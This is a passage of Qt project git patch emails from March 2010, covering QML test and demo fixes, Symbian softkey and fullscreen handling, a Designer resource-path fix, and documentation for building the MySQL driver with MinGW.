QFETCH(QUrl, url); + QFETCH(QString, message); + + if (!message.isEmpty()) + QTest::ignoreMessage(QtWarningMsg, message.toLatin1()); + + QDeclarativeComponent component(&engine, url); + TRY_WAIT(component.status() == QDeclarativeComponent::Ready); + QDeclarativeLoader *loader = qobject_cast(component.create()); + QVERIFY(loader != 0); + + if (message.isEmpty()) { + TRY_WAIT(loader->status() == QDeclarativeLoader::Ready); + } else { + TRY_WAIT(loader->status() == QDeclarativeLoader::Null); + } + + delete loader; +} + QTEST_MAIN(tst_QDeclarativeLoader) #include "tst_qdeclarativeloader.moc" -- cgit v0.12 From fad4cdb70323a2c1925c31917ce2b6cff62748b0 Mon Sep 17 00:00:00 2001 From: Alexis Menard Date: Thu, 18 Mar 2010 05:55:34 +0100 Subject: Changing the alignment property should trigger a repaint. Just clear the cache when the property changes. Task-number:QTBUG-8155 Reviewed-by:Yann Bodson --- .../graphicsitems/qdeclarativetextinput.cpp | 1 + .../tst_qdeclarativetextinput.cpp | 33 ++++++++++++++++++++++ 2 files changed, 34 insertions(+) diff --git a/src/declarative/graphicsitems/qdeclarativetextinput.cpp b/src/declarative/graphicsitems/qdeclarativetextinput.cpp index 01167dc..b049728 100644 --- a/src/declarative/graphicsitems/qdeclarativetextinput.cpp +++ b/src/declarative/graphicsitems/qdeclarativetextinput.cpp @@ -220,6 +220,7 @@ void QDeclarativeTextInput::setHAlign(HAlignment align) if(align == d->hAlign) return; d->hAlign = align; + updateRect(); emit horizontalAlignmentChanged(d->hAlign); } diff --git a/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp b/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp index 8b513e8..e623df6 100644 --- a/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp +++ b/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp @@ -72,6 +72,7 @@ private slots: void readOnly(); void sendRequestSoftwareInputPanelEvent(); + void setHAlignClearCache(); private: void simulateKey(QDeclarativeView *, int key); @@ -651,6 +652,38 @@ void tst_qdeclarativetextinput::sendRequestSoftwareInputPanelEvent() QCOMPARE(ic.softwareInputPanelEventReceived, true); } +class MyTextInput : public QDeclarativeTextInput +{ +public: + MyTextInput(QDeclarativeItem *parent = 0) : QDeclarativeTextInput(parent) + { + nbPaint = 0; + } + void paint(QPainter *painter, const QStyleOptionGraphicsItem *option, QWidget *widget) + { + nbPaint++; + QDeclarativeTextInput::paint(painter, option, widget); + } + int nbPaint; +}; + +void tst_qdeclarativetextinput::setHAlignClearCache() +{ + QGraphicsScene scene; + QGraphicsView view(&scene); + MyTextInput input; + input.setText("Hello world"); + scene.addItem(&input); + view.show(); + QApplication::setActiveWindow(&view); + QTest::qWaitForWindowShown(&view); + QCOMPARE(input.nbPaint, 1); + input.setHAlign(QDeclarativeTextInput::AlignRight); + QApplication::processEvents(); + //Changing the alignment should trigger a repaint + QCOMPARE(input.nbPaint, 2); +} + QTEST_MAIN(tst_qdeclarativetextinput) #include "tst_qdeclarativetextinput.moc" -- cgit v0.12 From 6303deb10f394746a6ff928dc44934aa728f8b09 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Tue, 23 Mar 2010 15:03:29 +1000 Subject: Fix warning. --- src/declarative/qml/qdeclarativecompiler.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/declarative/qml/qdeclarativecompiler.cpp b/src/declarative/qml/qdeclarativecompiler.cpp index 28c2210..e668553 100644 --- a/src/declarative/qml/qdeclarativecompiler.cpp +++ b/src/declarative/qml/qdeclarativecompiler.cpp @@ -2131,7 +2131,7 @@ bool QDeclarativeCompiler::buildPropertyOnAssignment(QDeclarativeParser::Propert buildDynamicMeta(baseObj, ForceCreation); v->type = isPropertyValue ? Value::ValueSource : Value::ValueInterceptor; } else { - COMPILE_EXCEPTION(v, QCoreApplication::translate("QDeclarativeCompiler","\"%1\" cannot operate on \"%2\"").arg(v->object->typeName.constData()).arg(prop->name.constData())); + COMPILE_EXCEPTION(v, QCoreApplication::translate("QDeclarativeCompiler","\"%1\" cannot operate on \"%2\"").arg(QString::fromUtf8(v->object->typeName)).arg(QString::fromUtf8(prop->name))); } return true; -- cgit v0.12 From 32ab7f1e66bbd7e3b91917d725880356aa76c502 Mon Sep 17 00:00:00 2001 From: Yann Bodson Date: Tue, 23 Mar 2010 15:51:41 +1000 Subject: Usability improvements for photoviewer demo. --- .../photoviewer/PhotoViewerCore/AlbumDelegate.qml | 14 ++++++++++++-- .../photoviewer/PhotoViewerCore/EditableButton.qml | 6 +++++- .../photoviewer/PhotoViewerCore/PhotoDelegate.qml | 6 +++++- demos/declarative/photoviewer/PhotoViewerCore/Tag.qml | 2 +- demos/declarative/photoviewer/photoviewer.qml | 12 +++++++++--- 5 files changed, 32 insertions(+), 8 deletions(-) diff --git a/demos/declarative/photoviewer/PhotoViewerCore/AlbumDelegate.qml b/demos/declarative/photoviewer/PhotoViewerCore/AlbumDelegate.qml index 48914d4..fb68cfc 100644 --- a/demos/declarative/photoviewer/PhotoViewerCore/AlbumDelegate.qml +++ b/demos/declarative/photoviewer/PhotoViewerCore/AlbumDelegate.qml @@ -33,13 +33,15 @@ Component { } BusyIndicator { + id: busyIndicator anchors { centerIn: parent; verticalCenterOffset: -20 } on: rssModel.status != XmlListModel.Ready } PathView { id: photosPathView; model: visualModel.parts.stack; pathItemCount: 5 - anchors.centerIn: parent; anchors.verticalCenterOffset: -20 + visible: !busyIndicator.visible + anchors.centerIn: parent; anchors.verticalCenterOffset: -30 path: Path { PathAttribute { name: 'z'; value: 9999.0 } PathLine { x: 1; y: 1 } @@ -53,9 +55,10 @@ Component { } Tag { - anchors.horizontalCenter: parent.horizontalCenter; anchors.bottom: parent.bottom + anchors { horizontalCenter: parent.horizontalCenter; bottom: parent.bottom; bottomMargin: 10 } frontLabel: tag; backLabel: "Delete"; flipped: mainWindow.editMode onTagChanged: rssModel.tags = tag + onBackClicked: if (mainWindow.editMode) photosModel.remove(index); } states: [ @@ -74,6 +77,13 @@ Component { } ] + GridView.onAdd: NumberAnimation { target: albumWrapper; properties: "scale"; from: 0.0; to: 1.0 } + GridView.onRemove: SequentialAnimation { + PropertyAction { target: albumWrapper.GridView; property: "delayRemove"; value: true } + NumberAnimation { target: albumWrapper; property: "scale"; from: 1.0; to: 0.0 } + PropertyAction { target: albumWrapper.GridView; property: "delayRemove"; value: false } + } + transitions: [ Transition { from: '*'; to: 'inGrid' diff --git a/demos/declarative/photoviewer/PhotoViewerCore/EditableButton.qml b/demos/declarative/photoviewer/PhotoViewerCore/EditableButton.qml index 1a529ea..5ea79a1 100644 --- a/demos/declarative/photoviewer/PhotoViewerCore/EditableButton.qml +++ b/demos/declarative/photoviewer/PhotoViewerCore/EditableButton.qml @@ -28,6 +28,10 @@ Item { TextInput { id: textInput; text: label; font.pixelSize: 15; anchors.centerIn: parent; smooth: true; visible: false Keys.onReturnPressed: container.labelChanged(textInput.text) + Keys.onEscapePressed: { + textInput.text = labelText.text + container.state = '' + } } MouseArea { @@ -37,7 +41,7 @@ Item { states: State { name: "editMode" - PropertyChanges { target: container; width: textInput.width + 70; height: textInput.height + 18 } + PropertyChanges { target: container; width: textInput.width + 70; height: textInput.height + 17 } PropertyChanges { target: textInput; visible: true; focus: true } PropertyChanges { target: labelText; visible: false } } diff --git a/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml b/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml index ab36122..107aff1 100644 --- a/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml +++ b/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml @@ -33,8 +33,12 @@ Package { property int h: Script.getHeight(content) property double s: Script.calculateScale(w, h, photoWrapper.width) - color: '#878787'; anchors.centerIn: parent; smooth: true; border.color: 'white'; border.width: 3 + color: 'white'; anchors.centerIn: parent; smooth: true width: w * s; height: h * s; visible: originalImage.status != Image.Ready + Rectangle { + color: "#878787"; smooth: true + anchors { fill: parent; topMargin: 3; bottomMargin: 3; leftMargin: 3; rightMargin: 3 } + } } Rectangle { id: border; color: 'white'; anchors.centerIn: parent; smooth: true diff --git a/demos/declarative/photoviewer/PhotoViewerCore/Tag.qml b/demos/declarative/photoviewer/PhotoViewerCore/Tag.qml index d1e26e0..bf02fac 100644 --- a/demos/declarative/photoviewer/PhotoViewerCore/Tag.qml +++ b/demos/declarative/photoviewer/PhotoViewerCore/Tag.qml @@ -22,7 +22,7 @@ Flipable { } back: Button { - id: backButton; tint: "red" + id: backButton; tint: "red"; rotation: flipable.randomAngle anchors { centerIn: parent; verticalCenterOffset: -20 } onClicked: flipable.backClicked() } diff --git a/demos/declarative/photoviewer/photoviewer.qml b/demos/declarative/photoviewer/photoviewer.qml index 5e4be4c..8feee02 100644 --- a/demos/declarative/photoviewer/photoviewer.qml +++ b/demos/declarative/photoviewer/photoviewer.qml @@ -13,8 +13,8 @@ Rectangle { ListModel { id: photosModel ListElement { tag: "Flowers" } - ListElement { tag: "Savanna" } - ListElement { tag: "Central Park" } + ListElement { tag: "Wildlife" } + ListElement { tag: "Prague" } } VisualDataModel { id: albumVisualModel; model: photosModel; delegate: AlbumDelegate {} } @@ -26,14 +26,20 @@ Rectangle { Column { spacing: 20; anchors { bottom: parent.bottom; right: parent.right; rightMargin: 20; bottomMargin: 20 } - Button { id: deleteButton; label: "Edit"; rotation: -2; onClicked: mainWindow.editMode = !mainWindow.editMode } Button { id: newButton; label: "New"; rotation: 3 + anchors.horizontalCenter: parent.horizontalCenter onClicked: { + mainWindow.editMode = false photosModel.append( { tag: "" } ) albumView.positionViewAtIndex(albumView.count - 1, GridView.Contain) } } + Button { + id: deleteButton; label: "Delete"; rotation: -2; + onClicked: mainWindow.editMode = !mainWindow.editMode + anchors.horizontalCenter: parent.horizontalCenter + } } Rectangle { -- cgit v0.12 From 56782c88937cb1296b9bc72bbbc0a0d8eb3b32d5 Mon Sep 17 00:00:00 2001 From: Aaron McCarthy Date: Tue, 23 Mar 2010 16:30:05 +1000 Subject: Add missing ,. --- src/gui/itemviews/qabstractitemview.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/gui/itemviews/qabstractitemview.cpp b/src/gui/itemviews/qabstractitemview.cpp index d7ddf4e..32d7bca 100644 --- a/src/gui/itemviews/qabstractitemview.cpp +++ b/src/gui/itemviews/qabstractitemview.cpp @@ -104,7 +104,7 @@ QAbstractItemViewPrivate::QAbstractItemViewPrivate() horizontalScrollMode(QAbstractItemView::ScrollPerItem), currentIndexSet(false), wrapItemText(false), - delayedPendingLayout(true) + delayedPendingLayout(true), moveCursorUpdatedView(false) { } -- cgit v0.12 From 90e401d350a75dfa365a8f3090514a2741f7bef6 Mon Sep 17 00:00:00 2001 From: Alan Alpert Date: Mon, 22 Mar 2010 16:08:25 +0100 Subject: Use QDeclarativeListProperty properly Task-number: QTBUG-8713 Reviewed-by: Aaron Kennedy --- demos/declarative/minehunt/minehunt.cpp | 24 +++++++++++++++++++++++- 1 file changed, 23 insertions(+), 1 deletion(-) diff --git a/demos/declarative/minehunt/minehunt.cpp b/demos/declarative/minehunt/minehunt.cpp index 5e44d1b..e54508a 100644 --- a/demos/declarative/minehunt/minehunt.cpp +++ b/demos/declarative/minehunt/minehunt.cpp @@ -92,7 +92,7 @@ public: MinehuntGame(); Q_PROPERTY(QDeclarativeListProperty tiles READ tiles CONSTANT); - QDeclarativeListProperty tiles() { return QDeclarativeListProperty(this, _tiles); } + QDeclarativeListProperty tiles(); Q_PROPERTY(bool isPlaying READ isPlaying NOTIFY isPlayingChanged); bool isPlaying() {return playing;} @@ -134,6 +134,28 @@ private: int nFlags; }; +void tilesPropAppend(QDeclarativeListProperty* prop, Tile* value) +{ + Q_UNUSED(prop); + Q_UNUSED(value); + return; //Append not supported +} + +int tilesPropCount(QDeclarativeListProperty* prop) +{ + return static_cast*>(prop->data)->count(); +} + +Tile* tilesPropAt(QDeclarativeListProperty* prop, int index) +{ + return static_cast*>(prop->data)->at(index); +} + +QDeclarativeListProperty MinehuntGame::tiles(){ + return QDeclarativeListProperty(this, &_tiles, &tilesPropAppend, + &tilesPropCount, &tilesPropAt, 0); +} + MinehuntGame::MinehuntGame() : numCols(9), numRows(9), playing(true), won(false) { -- cgit v0.12 From 6a54124fefb786f4bad8fc778d174890fb1824f4 Mon Sep 17 00:00:00 2001 From: Friedemann Kleint Date: Tue, 23 Mar 2010 09:13:27 +0100 Subject: Designer: Fix broken resource view. Resource handling broken as a side effect of 62c72ed2fd4aa6f5e62a190abf2dde2ba0f5ff0b . Task-number: QTBUG-9262 --- tools/designer/src/lib/shared/qtresourceview.cpp | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/tools/designer/src/lib/shared/qtresourceview.cpp b/tools/designer/src/lib/shared/qtresourceview.cpp index 859f239..3c7010c 100644 --- a/tools/designer/src/lib/shared/qtresourceview.cpp +++ b/tools/designer/src/lib/shared/qtresourceview.cpp @@ -377,7 +377,8 @@ void QtResourceViewPrivate::createPaths() if (!m_resourceModel) return; - const QString root(QLatin1Char(':')); + // Resource root up until 4.6 was ':', changed to ":/" as of 4.7 + const QString root(QLatin1String(":/")); QMap contents = m_resourceModel->contents(); QMapIterator itContents(contents); -- cgit v0.12 From 253d075996818ba6d42e0caf9e03271e386621d0 Mon Sep 17 00:00:00 2001 From: Janne Anttila Date: Mon, 22 Mar 2010 09:48:37 +0200 Subject: Fixed left softkey regression caused by 7829fe15 in Symbian. Dialogs are always responsible for setting all of their softkeys by themselves, that's why this qmenubar hack can be removed. When "Options" menu support was moved from QMainWindow to QMenuBar, it appeared that some dialogs did had "Options" in LSK even it should have had dialog specific softkey. This commit removes the year old hack made to qdialogs softkey implementation. Reviewed-By: Sami Merila --- src/gui/dialogs/qdialog.cpp | 14 -------------- 1 file changed, 14 deletions(-) diff --git a/src/gui/dialogs/qdialog.cpp b/src/gui/dialogs/qdialog.cpp index d8ac9a8..25ba016 100644 --- a/src/gui/dialogs/qdialog.cpp +++ b/src/gui/dialogs/qdialog.cpp @@ -69,7 +69,6 @@ extern bool qt_wince_is_smartphone(); //is defined in qguifunctions_wce.cpp # include "qfontdialog.h" # include "qcolordialog.h" # include "qwizard.h" -# include "qmenubar.h" #endif #if defined(Q_WS_S60) @@ -529,12 +528,6 @@ int QDialog::exec() #endif //Q_WS_WINCE_WM #ifdef Q_OS_SYMBIAN -#ifndef QT_NO_MENUBAR - QMenuBar *menuBar = 0; - if (!findChild()) - menuBar = new QMenuBar(this); -#endif - if (qobject_cast(this) || qobject_cast(this) || qobject_cast(this) || qobject_cast(this)) showMaximized(); @@ -566,13 +559,6 @@ int QDialog::exec() delete menuBar; #endif //QT_NO_MENUBAR #endif //Q_WS_WINCE_WM -#ifdef Q_OS_SYMBIAN -#ifndef QT_NO_MENUBAR - else if (menuBar) - delete menuBar; -#endif //QT_NO_MENUBAR -#endif //Q_OS_SYMBIAN - return res; } -- cgit v0.12 From ae3d95f872c8bd2e192c58d7c7c830a3d2e4bc43 Mon Sep 17 00:00:00 2001 From: Janne Anttila Date: Mon, 22 Mar 2010 10:17:17 +0200 Subject: Fixed 'fullsreen with softkeys' mode not to expand under softkey area. availableGeometry returns incorrect area after cba is made invisible, it seems that this happens because CAknToolbar is not made invisible. Fixed the problem by reverting back to SetExtentToWholeScreen usage when the widget is really fullscreen, i.e. Qt::WindowSoftkeysVisibleHint is not set. Task-number: QTBUG-9038 Reviewed-by: Miikka Heikkinen --- src/gui/kernel/qapplication_s60.cpp | 45 +++++++++++++++++++------------------ src/gui/kernel/qt_s60_p.h | 1 + src/gui/kernel/qwidget_s60.cpp | 8 ++++--- 3 files changed, 29 insertions(+), 25 deletions(-) diff --git a/src/gui/kernel/qapplication_s60.cpp b/src/gui/kernel/qapplication_s60.cpp index e7a7093..37d1b62 100644 --- a/src/gui/kernel/qapplication_s60.cpp +++ b/src/gui/kernel/qapplication_s60.cpp @@ -1004,16 +1004,32 @@ void QSymbianControl::FocusChanged(TDrawNow /* aDrawNow */) // else { We don't touch the active window unless we were explicitly activated or deactivated } } +void QSymbianControl::handleClientAreaChange() +{ + const bool cbaVisibilityHint = qwidget->windowFlags() & Qt::WindowSoftkeysVisibleHint; + if (qwidget->isFullScreen() && !cbaVisibilityHint) { + SetExtentToWholeScreen(); + } else if (qwidget->isMaximized() || (qwidget->isFullScreen() && cbaVisibilityHint)) { + TRect r = static_cast(S60->appUi())->ClientRect(); + SetExtent(r.iTl, r.Size()); + } else if (!qwidget->isMinimized()) { // Normal geometry + if (!qwidget->testAttribute(Qt::WA_Resized)) { + qwidget->adjustSize(); + qwidget->setAttribute(Qt::WA_Resized, false); //not a user resize + } + if (!qwidget->testAttribute(Qt::WA_Moved) && qwidget->windowType() != Qt::Dialog) { + TRect r = static_cast(S60->appUi())->ClientRect(); + SetPosition(r.iTl); + qwidget->setAttribute(Qt::WA_Moved, false); // not really an explicit position + } + } +} + void QSymbianControl::HandleResourceChange(int resourceType) { switch (resourceType) { case KInternalStatusPaneChange: - if (qwidget->isFullScreen()) { - SetExtentToWholeScreen(); - } else if (qwidget->isMaximized()) { - TRect r = static_cast(S60->appUi())->ClientRect(); - SetExtent(r.iTl, r.Size()); - } + handleClientAreaChange(); if (IsFocused() && IsVisible()) { qwidget->d_func()->setWindowIcon_sys(true); qwidget->d_func()->setWindowTitle_sys(qwidget->windowTitle()); @@ -1025,22 +1041,7 @@ void QSymbianControl::HandleResourceChange(int resourceType) #ifdef Q_WS_S60 case KEikDynamicLayoutVariantSwitch: { - if (qwidget->isFullScreen()) { - SetExtentToWholeScreen(); - } else if (qwidget->isMaximized()) { - TRect r = static_cast(S60->appUi())->ClientRect(); - SetExtent(r.iTl, r.Size()); - } else if (!qwidget->isMinimized()){ // Normal geometry - if (!qwidget->testAttribute(Qt::WA_Resized)) { - qwidget->adjustSize(); - qwidget->setAttribute(Qt::WA_Resized, false); //not a user resize - } - if (!qwidget->testAttribute(Qt::WA_Moved) && qwidget->windowType() != Qt::Dialog) { - TRect r = static_cast(S60->appUi())->ClientRect(); - SetPosition(r.iTl); - qwidget->setAttribute(Qt::WA_Moved, false); // not really an explicit position - } - } + handleClientAreaChange(); break; } #endif diff --git a/src/gui/kernel/qt_s60_p.h b/src/gui/kernel/qt_s60_p.h index cedede1..7c6b754 100644 --- a/src/gui/kernel/qt_s60_p.h +++ b/src/gui/kernel/qt_s60_p.h @@ -212,6 +212,7 @@ private: #ifdef QT_SYMBIAN_SUPPORTS_ADVANCED_POINTER void translateAdvancedPointerEvent(const TAdvancedPointerEvent *event); #endif + void handleClientAreaChange(); private: static QSymbianControl *lastFocusedControl; diff --git a/src/gui/kernel/qwidget_s60.cpp b/src/gui/kernel/qwidget_s60.cpp index 79702af..bfa7050 100644 --- a/src/gui/kernel/qwidget_s60.cpp +++ b/src/gui/kernel/qwidget_s60.cpp @@ -1109,9 +1109,11 @@ void QWidget::setWindowState(Qt::WindowStates newstate) QTLWExtra *top = d->topData(); const QRect normalGeometry = (top->normalGeometry.width() < 0) ? geometry() : top->normalGeometry; - if (newstate & Qt::WindowFullScreen) - setGeometry(qApp->desktop()->availableGeometry(this)); - else if (newstate & Qt::WindowMaximized) + + const bool cbaVisibilityHint = windowFlags() & Qt::WindowSoftkeysVisibleHint; + if (newstate & Qt::WindowFullScreen && !cbaVisibilityHint) + setGeometry(qApp->desktop()->screenGeometry(this)); + else if (newstate & Qt::WindowMaximized || ((newstate & Qt::WindowFullScreen) && cbaVisibilityHint)) setGeometry(qApp->desktop()->availableGeometry(this)); else setGeometry(normalGeometry); -- cgit v0.12 From 262e98f9a29385f99cd6f768632264e0b621dc01 Mon Sep 17 00:00:00 2001 From: Janne Anttila Date: Tue, 23 Mar 2010 10:36:22 +0200 Subject: Fixed S60 softkey implementation to use popup/modal dialog softkeys. Previously softkey implementation assumed that source for softkey actions is focused widget or activewindow if there is no focused widget. Since for example pop-up menu does not take focus immediately in touch enabled devices, the underlying widget softkeys were visible and usable when menu was open. This lead to problem that underlying widget could be interacted via softkeys when popup menu was open. For example as reported in QTBUG-8688, it was possible to close the underlying filedialog from which the currently active context menu was launched. It was also possible to open "Options" menu of underlying widget when context menu was open, leading to situation where several context menus could be launched via "Actions" item of "Options" menu. This was reported as an issue: QTBUG-6167 In addition when user started navigating in context menu via keypad, the menu got focus and softkeys changed to partially correct. Only partially correct, since context menu "Select" action and "Options" action had same priority and both associated to LSK. In addition the context menu action "Cancel" associated to RSK was set to invisible, meaning that it was also disabled and appeared in sofkeys as dimmed. All of these issues were fixed by making making the popup and modal dialogs highest priority softkey source. In case the focused widget is inside popup or modal dialog it is being used as an initial softkey source. In addition the softkeys created with QSoftKeyManager::createAction or QSoftKeyManager::createKeyedAction are now by default invisible i.e. not visible in context menu and have special property set to make them still normally enabled in softkeys. Task-number: QTBUG-6167 Task-number: QTBUG-8688 Task-number: QTBUG-9144 Reviewed-by: Sami Merila --- src/gui/kernel/qsoftkeymanager.cpp | 60 ++++++++++++++++++++++++++++++---- src/gui/kernel/qsoftkeymanager_p.h | 5 ++- src/gui/kernel/qsoftkeymanager_s60.cpp | 7 ++-- src/gui/widgets/qmenu.cpp | 4 +-- src/gui/widgets/qmenubar.cpp | 1 - 5 files changed, 61 insertions(+), 16 deletions(-) diff --git a/src/gui/kernel/qsoftkeymanager.cpp b/src/gui/kernel/qsoftkeymanager.cpp index c9a94ee..d324c76 100644 --- a/src/gui/kernel/qsoftkeymanager.cpp +++ b/src/gui/kernel/qsoftkeymanager.cpp @@ -115,6 +115,8 @@ QAction *QSoftKeyManager::createAction(StandardSoftKey standardKey, QWidget *act break; } action->setSoftKeyRole(softKeyRole); + action->setVisible(false); + setForceEnabledInSoftkeys(action); return action; } @@ -168,25 +170,55 @@ bool QSoftKeyManager::appendSoftkeys(const QWidget &source, int level) { Q_D(QSoftKeyManager); bool ret = false; - QList actions = source.actions(); - for (int i = 0; i < actions.count(); ++i) { - if (actions.at(i)->softKeyRole() != QAction::NoSoftKey) { - d->requestedSoftKeyActions.insert(level, actions.at(i)); + foreach(QAction *action, source.actions()) { + if (action->softKeyRole() != QAction::NoSoftKey + && (action->isVisible() || isForceEnabledInSofkeys(action))) { + d->requestedSoftKeyActions.insert(level, action); ret = true; } } return ret; } + +static bool isChildOf(const QWidget *c, const QWidget *p) +{ + while (c) { + if (c == p) + return true; + c = c->parentWidget(); + } + return false; +} + QWidget *QSoftKeyManager::softkeySource(QWidget *previousSource, bool& recursiveMerging) { Q_D(QSoftKeyManager); QWidget *source = NULL; if (!previousSource) { // Initial source is primarily focuswidget and secondarily activeWindow - source = QApplication::focusWidget(); - if (!source) - source = QApplication::activeWindow(); + const QWidget *focus = QApplication::focusWidget(); + const QWidget *popup = QApplication::activePopupWidget(); + if (popup) { + if (isChildOf(focus, popup)) + source = focus; + else + source = popup; + } + if (!source) { + const QWidget *modal = QApplication::activeModalWidget(); + if (modal) { + if (isChildOf(focus, modal)) + source = focus; + else + source = modal; + } + } + if (!source) { + source = focus; + if (!source) + source = QApplication::activeWindow(); + } } else { // Softkey merging is based on four criterias // 1. Implicit merging is used whenever focus widget does not specify any softkeys @@ -220,6 +252,20 @@ bool QSoftKeyManager::handleUpdateSoftKeys() return true; } +void QSoftKeyManager::setForceEnabledInSoftkeys(QAction *action) +{ + action->setProperty(FORCE_ENABLED_PROPERTY, QVariant(true)); +} + +bool QSoftKeyManager::isForceEnabledInSofkeys(QAction *action) +{ + bool ret = false; + QVariant property = action->property(FORCE_ENABLED_PROPERTY); + if (property.isValid() && property.toBool()) + ret = true; + return ret; +} + bool QSoftKeyManager::event(QEvent *e) { #ifndef QT_NO_ACTION diff --git a/src/gui/kernel/qsoftkeymanager_p.h b/src/gui/kernel/qsoftkeymanager_p.h index a6fe17e..a5b258b 100644 --- a/src/gui/kernel/qsoftkeymanager_p.h +++ b/src/gui/kernel/qsoftkeymanager_p.h @@ -63,7 +63,8 @@ QT_BEGIN_NAMESPACE class QSoftKeyManagerPrivate; -const char MENU_ACTION_PROPERTY[] = "_q_menuaction"; +const char MENU_ACTION_PROPERTY[] = "_q_menuAction"; +const char FORCE_ENABLED_PROPERTY[] = "_q_forceEnabledInSoftkeys"; class Q_AUTOTEST_EXPORT QSoftKeyManager : public QObject { @@ -88,6 +89,8 @@ public: static QAction *createAction(StandardSoftKey standardKey, QWidget *actionWidget); static QAction *createKeyedAction(StandardSoftKey standardKey, Qt::Key key, QWidget *actionWidget); static QString standardSoftKeyText(StandardSoftKey standardKey); + static void setForceEnabledInSoftkeys(QAction *action); + static bool isForceEnabledInSofkeys(QAction *action); protected: bool event(QEvent *e); diff --git a/src/gui/kernel/qsoftkeymanager_s60.cpp b/src/gui/kernel/qsoftkeymanager_s60.cpp index 3a0304c..9812d72 100644 --- a/src/gui/kernel/qsoftkeymanager_s60.cpp +++ b/src/gui/kernel/qsoftkeymanager_s60.cpp @@ -288,11 +288,7 @@ bool QSoftKeyManagerPrivateS60::setSoftkey(CEikButtonGroupContainer &cba, TPtrC nativeText = qt_QString2TPtrC(text); int command = S60_COMMAND_START + position; setNativeSoftkey(cba, position, command, nativeText); - // QMainWindow "Options" action is set to invisible in order it does not appear in context menu - // and all invisible actions are by default disabled. - // However we never want to dim options softkey, even it is set to invisible - QVariant property = action->property(MENU_ACTION_PROPERTY); - const bool dimmed = (property.isValid() && property.toBool()) ? false : !action->isEnabled(); + const bool dimmed = !action->isEnabled() && !QSoftKeyManager::isForceEnabledInSofkeys(action); cba.DimCommand(command, dimmed); realSoftKeyActions.insert(command, action); return true; @@ -335,6 +331,7 @@ bool QSoftKeyManagerPrivateS60::setRightSoftkey(CEikButtonGroupContainer &cba) cbaHasImage[RSK_POSITION] = false; } setNativeSoftkey(cba, RSK_POSITION, EAknSoftkeyExit, nativeText); + cba.DimCommand(EAknSoftkeyExit, false); return true; } } diff --git a/src/gui/widgets/qmenu.cpp b/src/gui/widgets/qmenu.cpp index 42b7406..a9978f9 100644 --- a/src/gui/widgets/qmenu.cpp +++ b/src/gui/widgets/qmenu.cpp @@ -168,8 +168,8 @@ void QMenuPrivate::init() #ifdef QT_SOFTKEYS_ENABLED selectAction = QSoftKeyManager::createKeyedAction(QSoftKeyManager::SelectSoftKey, Qt::Key_Select, q); cancelAction = QSoftKeyManager::createKeyedAction(QSoftKeyManager::CancelSoftKey, Qt::Key_Back, q); - selectAction->setVisible(false); // Don't show these in the menu - cancelAction->setVisible(false); + selectAction->setPriority(QAction::HighPriority); + cancelAction->setPriority(QAction::HighPriority); q->addAction(selectAction); q->addAction(cancelAction); #endif diff --git a/src/gui/widgets/qmenubar.cpp b/src/gui/widgets/qmenubar.cpp index 13aa02b..e368d3d 100644 --- a/src/gui/widgets/qmenubar.cpp +++ b/src/gui/widgets/qmenubar.cpp @@ -1404,7 +1404,6 @@ void QMenuBarPrivate::handleReparent() if (!menuBarAction) { if (newParent) { menuBarAction = QSoftKeyManager::createAction(QSoftKeyManager::MenuSoftKey, newParent); - menuBarAction->setVisible(false); newParent->addAction(menuBarAction); } } else { -- cgit v0.12 From 49ced5b0145598e3eda3375480e915c725bcb81f Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Tue, 23 Mar 2010 10:14:39 +0100 Subject: Added instructions for MinGW users wanting to build the MySQL driver. Task: QTBUG-9250 --- doc/src/sql-programming/sql-driver.qdoc | 67 +++++++++++++++++++++++++++++++++ 1 file changed, 67 insertions(+) diff --git a/doc/src/sql-programming/sql-driver.qdoc b/doc/src/sql-programming/sql-driver.qdoc index e26472e..6bccd83 100644 --- a/doc/src/sql-programming/sql-driver.qdoc +++ b/doc/src/sql-programming/sql-driver.qdoc @@ -192,6 +192,73 @@ built in release mode only. If you are expecting a debug version to be built as well, don't use the \c{"-o Makefile"} option. + \section3 How to build the MySQL driver for MinGW users + + The following steps have been used successfully for WinXP SP3. In + this example, Qt 4.6.2 is shown. + + \list + + \o Download the following components: + \list + \o \c{MinGW-5.1.6.exe} + \o \c{mingw-utils-0.3.tar.gz} + \o Qt sources, e.g. \c{qt-everywhere-opensource-src-4.6.2.zip} + \o \c{mysql-5.1.35-win32.msi} + \endlist + + \o Install \c{MinGW-5.1.6.exe} in, e.g. \c{C:\MinGW}. + + \o Extract \c{mingw-utils-0.3.tar.gz} into, e.g. \c{C:\MinGW}. + + \o Add the path for \c{MinGW-5.1.6.exe} to your \c{PATH} variable, + e.g. \c{C:\MinGW\bin;} + + \o Extract the Qt sources, (\c{qt-everywhere-opensource-src-4.6.2.zip}), + into, e.g. \c{C:\Qt}. + + \o Add the path for the eventual Qt binary to your \c{PATH} variable, + e.g. \c{C:\Qt\4.6.2\bin;}. + + \o Install MySQL (\c{mysql-5.1.35-win32.msi}), customizing the + components. Select only the headers and libraries. Install in, + e.g. \c{C:\MySQL\MySQL51}. + + \o Open the DOS prompt, go to \c{C:\MySQL\MySQL51\lib\opt}, and run + the following commands: + \list + \o \c{reimp -d libmysql.lib} + \o \c{dlltool -k -d libmysql.def -l libmysql.a} + \endlist + + \o Open the DOS prompt, go to \c{C:\Qt\4.6.2} and run the following commands: + \list + \o \c{configure.exe -debug-and-release -platform win32-g++ -qt-sql-mysql + -l mysql -I C:\MySQL\MySQL51\include -L C:\MySQL\MySQL51\lib\opt} + \o \c{mingw32-make sub-src} + \endlist + This step takes a long time. + + \o Open the DOS prompt, go to + \c{C:\Qt\4.6.2\src\plugins\sqldrivers\mysql} and run the + following command: + \list + \o \c{qmake "INCLUDEPATH+=C:\MySQL\MySQL51\include" "LIBS+=-L. mysql" mysql.pro} + \endlist + + \o Now the following libraries are ready in 